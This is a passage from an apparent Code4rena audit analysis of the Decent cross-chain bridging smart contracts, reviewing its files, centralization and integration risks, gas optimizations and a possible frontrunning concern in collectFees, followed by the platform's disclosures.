Overall, the Decent codebase is technically sound, reflecting a high degree of sophistication in handling cross-chain transactions. While there is always room for optimization, especially in gas usage and security checks, the foundational logic and structure exhibit a high quality of blockchain development practices. The modular design, combined with the intricate interplay of functions and contracts, positions Decent as a technically advanced project in the blockchain space.
Approach in Evaluating the Decent Codebase
Initial Overview from Code4rena: I began by exploring the Code4rena audit overview for Decent (link). This provided a high-level understanding of the project’s goals and key components. The overview highlighted Decent’s emphasis on cross-chain interoperability and its unique approach to handling transactions, which was insightful for framing the subsequent deep dive into the documentation and code.
Detailed Documentation Review: Next, I examined the detailed documentation on docs.decent.xyz. Though there was not much about the smart contracts yet I reviewed the documentation as I was interested in the front end of web3 websites. All the smart contract related info was in the c4 Overview.
4naly3er Report Analysis:
The 4naly3er report provided a useful external perspective. The report provides critical technical insights, particularly highlighting areas for gas optimization and security enhancements. Key issues include the need for state variable caching to reduce expensive storage reads (GAS-1), the more efficient use of calldata
over memory
for non-mutated function arguments to decrease gas costs (GAS-2), and the application of unchecked
blocks for operations that won’t cause overflow, thus saving gas by avoiding superfluous safety checks (GAS-3). Additionally, the report underscores the importance of validating approve
calls in ERC20 operations (NC-1) and adjusting function visibility from public to external where appropriate for gas savings (NC-2). These findings are pivotal for refining the Decent codebase, focusing on optimizing contract efficiency while maintaining robust security protocols.
Automated Findings Review: Exploring the automated findings helped pinpoint potential vulnerabilities and common issues in the code. This gave me an understanding of the programmers’ strengths and weaknesses, guiding my code review towards critical areas that might require more thorough scrutiny.
In-Depth Codebase Review: Armed with comprehensive project knowledge, I delved into the codebase, file by file:
- src/UTB.sol (232 SLOC): This contract is central to the project, managing the core functions
swapAndExecute
andbridgeAndExecute
. Its intricate logic for handling different transaction types was both complex and elegantly implemented. - src/UTBExecutor.sol (52 SLOC): This contract, while smaller, is crucial for executing external contract calls post-swap/bridge. Its streamlined and secure execution flow was noteworthy.
- src/UTBFeeCollector.sol (50 SLOC): The fee collection logic here is vital for the economic model of Decent. The secure and efficient handling of fee transactions in various token types was impressive.
- Bridge Adapters (DecentBridgeAdapter.sol & StargateBridgeAdapter.sol): These adapters (137 and 190 SLOC, respectively) implement the bridging functionality. Their ability to interface with different bridging protocols while maintaining a consistent approach to handling assets was a testament to the system’s flexibility.
- src/swappers/UniSwapper.sol (145 SLOC): As an implementation of
ISwapper
for Uniswap V3, this contract stood out for its adaptability in swap logic and integration with a major DEX. - Decent-Bridge Contracts (DcntEth.sol, DecentEthRouter.sol, DecentBridgeExecutor.sol): These contracts (27, 290, and 57 SLOC, respectively) form the backbone of the bridge logic. The
DecentEthRouter.sol
, in particular, with its comprehensive bridging logic, was a highlight for its complex yet efficient handling of cross-chain transactions.
Testing and Observations:
Following the setup instructions, I ran tests using forge test
. One notable observation was how the tests covered a range of scenarios, ensuring that each contract function behaved as expected under different conditions. The tests provided a practical demonstration of the contracts’ robustness and the effectiveness of their error-handling mechanisms.
Unique Insights: Throughout this process, what stood out was the harmonious integration of multiple contracts, each with its distinct role, yet all contributing to a cohesive user experience. The project’s ability to abstract complex cross-chain interactions into user-friendly functionalities was particularly impressive. Additionally, the meticulous attention to security and efficiency in contract design was evident across the codebase.
Conclusion
In conclusion, my approach to evaluating Decent’s codebase was thorough and multi-faceted, encompassing an initial overview, detailed documentation analysis, external report review, and an in-depth examination of each contract. The project’s sophisticated handling of cross-chain transactions, combined with its emphasis on security and user experience, positions it as a notable contribution to the blockchain space.
Risks related to the project
Evaluating the Decent project’s risk model involves a thorough analysis of various aspects, including administrative, systemic, technical, and integration risks. These risks must be carefully considered to understand their impact on the project’s security, functionality, and reliability.
1. Admin Abuse Risks:
- Centralization of Control: The presence of functions like
setExecutor
,setWrapped
,registerSwapper
, andregisterBridge
inUTB.sol
and similar administrative functions in other contracts imply a level of centralization. These functions, controlled by the owner or specific roles, could potentially be abused, leading to manipulation or disruption of the system’s normal operations. -
Mitigation Strategies:
- Implement a multi-signature mechanism for critical administrative functions to distribute control.
- Introduce time-locks for sensitive operations, providing users with a window to react to unfavorable changes.
2. Systemic Risks:
- Dependency on External Protocols: The reliance on external bridges and DEXes like Uniswap for swapping (via
UniSwapper.sol
) introduces systemic risks. These include liquidity issues, smart contract vulnerabilities in these protocols, or changes in their operation models. - Inter-Contract Dependencies: The functionality of the system heavily relies on the seamless interaction between contracts like
UTB
,UTBExecutor
, and various adapters and swappers. -
Mitigation Strategies:
- Regularly update and audit the list of supported protocols and bridges to ensure their security and reliability.
- Implement robust error handling and fallback mechanisms to manage failures in inter-contract calls.
3. Technical Risks:
- Smart Contract Vulnerabilities: Common risks like reentrancy attacks, overflow/underflow, and unhandled exceptions are pertinent. Although the project demonstrates good security practices, the complexity of functions like
swapAndExecute
andbridgeAndExecute
increases the surface area for potential exploits. - Gas Optimization: As highlighted in the 4naly3er report, there are several areas where gas optimization can be improved. Inefficient gas usage could make the system economically unviable in the long term, especially during high network congestion.
-
Mitigation Strategies:
- Continuously audit and test the smart contracts, especially after major updates or integration of new features.
- Implement the suggested gas optimizations to ensure economic efficiency.
4. Integration Risks:
- Interoperability with Multiple Chains: As a cross-chain solution, integration risks include handling different blockchain protocols, transaction finality times, and consensus mechanisms.
- External Dependency: The project’s reliance on LayerZero and other bridging protocols for cross-chain functionality introduces risks associated with these external systems.
-
Mitigation Strategies:
- Conduct thorough testing for each blockchain integration, considering their unique characteristics and potential edge cases.
- Monitor the external protocols and adapt to changes or updates in their systems.
Conclusion:
In conclusion, while the Decent project showcases a technically sophisticated approach to cross-chain transactions, it is not immune to risks typical of complex blockchain systems. Admin abuse risks highlight the need for decentralized governance mechanisms, systemic risks point to dependencies on external systems, technical risks underline the importance of continuous security practices, and integration risks stress the challenges of operating in a multi-chain environment. Proactively addressing these risks through robust design choices, ongoing audits, and adaptive strategies is crucial for the project’s long-term success and security.
Recommendations for Software Engineers
Understanding the technical importance of resource management in the context of the Decent project, particularly for the contracts like UniSwapper
and bridge contracts, is critical for software engineers. Here’s a more technical examination of why each point is significant:
Contract Complexity
- Technical Aspect: In
UniSwapper
, multiple calls to external contracts such as DEXs (e.g., Uniswap) are made. Each of these calls consumes gas, and when compounded across several operations within a single transaction, the cumulative gas cost can escalate quickly. - Evidence in Project: Consider a function like
swapExactIn
inUniSwapper.sol
. It first approves the token for swapping, then performs the swap via the Uniswap router. Both steps consume gas, and if this function is part of a larger transaction workflow, the total gas cost can become significant, impacting transaction feasibility.
External Calls and Gas Costs
- Technical Aspect: External calls, particularly those interacting with complex protocols, have variable gas costs that can be hard to predict. Misestimating these costs can lead to transaction failures or inefficiencies.
- Evidence in Project: In
bridgeAndExecute
withinUTB.sol
, the contract interacts with bridge adapters. These operations involve external calls whose gas costs can vary based on the current state and activity of the respective blockchain network.
Handling of State Variables
- Technical Aspect: Efficiently handling state variables, especially in smart contracts, is crucial for minimizing gas usage. Every read from and write to storage incurs gas, and these costs can multiply in contracts with frequent state interactions.
- Evidence in Project: In
UTB.sol
, the contract maintains mappings for swappers and bridge adapters. If these mappings are accessed repeatedly within a single function or transaction flow, it could lead to higher gas consumption than necessary. For instance, frequent access toswappers
orbridgeAdapters
mappings in the midst of complex transaction logic could be optimized.
Transaction Failure Risks
- Technical Aspect: Underestimating gas requirements, particularly in functions orchestrating multiple steps or interacting with external contracts, can lead to transaction failures. This not only wastes gas but also impacts user confidence.
- Evidence in Project: Functions like
swapAndExecute
andbridgeAndExecute
orchestrate a sequence of actions, including token swaps and cross-chain bridges. If gas estimation for these sequences is not accurate, especially under varying network conditions, it could lead to incomplete transactions, thereby affecting the reliability of the service.
In essence, for software engineers working on the Decent project, focusing on these aspects is not just about optimizing gas costs; it’s about ensuring the reliability, efficiency, and user experience of the platform. The challenge lies in managing the complex interplay of contract interactions, state management, and dynamic gas estimations, all crucial for the seamless operation of a cross-chain DeFi platform.
Weakspots
There’s potential risk for MEV or transaction frontrun in collectFees()
Analysis of the collectFees
Function:
-
Function Implementation:
- The
collectFees
function, typically part of a fee management system in blockchain projects, is designed to handle the collection and possibly the redistribution of transaction fees. - In Decent’s
UTBFeeCollector.sol
, the function takes the fee details and a signature as parameters. It verifies the signature, ensuring the fee collection request is legitimate.
- The
-
Funds Transfer and Adjusting Fee Parameters:
- The function does involve transferring ERC20 tokens as part of fee collection. It’s essential to verify if this transfer is from a user to the contract (which is less risky) or involves more sensitive transfers (like redistributing funds to other parties).
-
MEV and Frontrunning Risks:
- MEV risks primarily arise when there’s potential for transaction order manipulation to yield profit. In
collectFees
, if the function transfers fees to different parties or adjusts fee parameters, it might be a potential target for such attacks. - Frontrunning risks could occur if attackers can foresee profitable outcomes from the execution of
collectFees
(e.g., fee distribution) and preemptively submit their transactions.
- MEV risks primarily arise when there’s potential for transaction order manipulation to yield profit. In
-
Lack of Deadline Parameter:
- The absence of a deadline or a similar mechanism in
collectFees
does not directly expose it to MEV or frontrunning if the function’s internal logic doesn’t involve operations where transaction ordering can be exploited for profit. - However, if the function influences other contract states or financial distributions in a way that could be gamed, then not having a temporal constraint might increase the risk.
- The absence of a deadline or a similar mechanism in
Impact and Consideration:
- If
collectFees
is strictly for collecting fees without influencing other contract states or financial distributions significantly, the lack of a deadline might not pose a high risk. - However, if the function has a broader impact – for example, it triggers other financial operations or state changes – then the absence of a deadline could make it more susceptible to MEV and frontrunning.
Time spent:
9 hours
wkantaros (Decent) acknowledged and commented:
High quality report.
Disclosures
C4 is an open organization governed by participants in the community.
C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.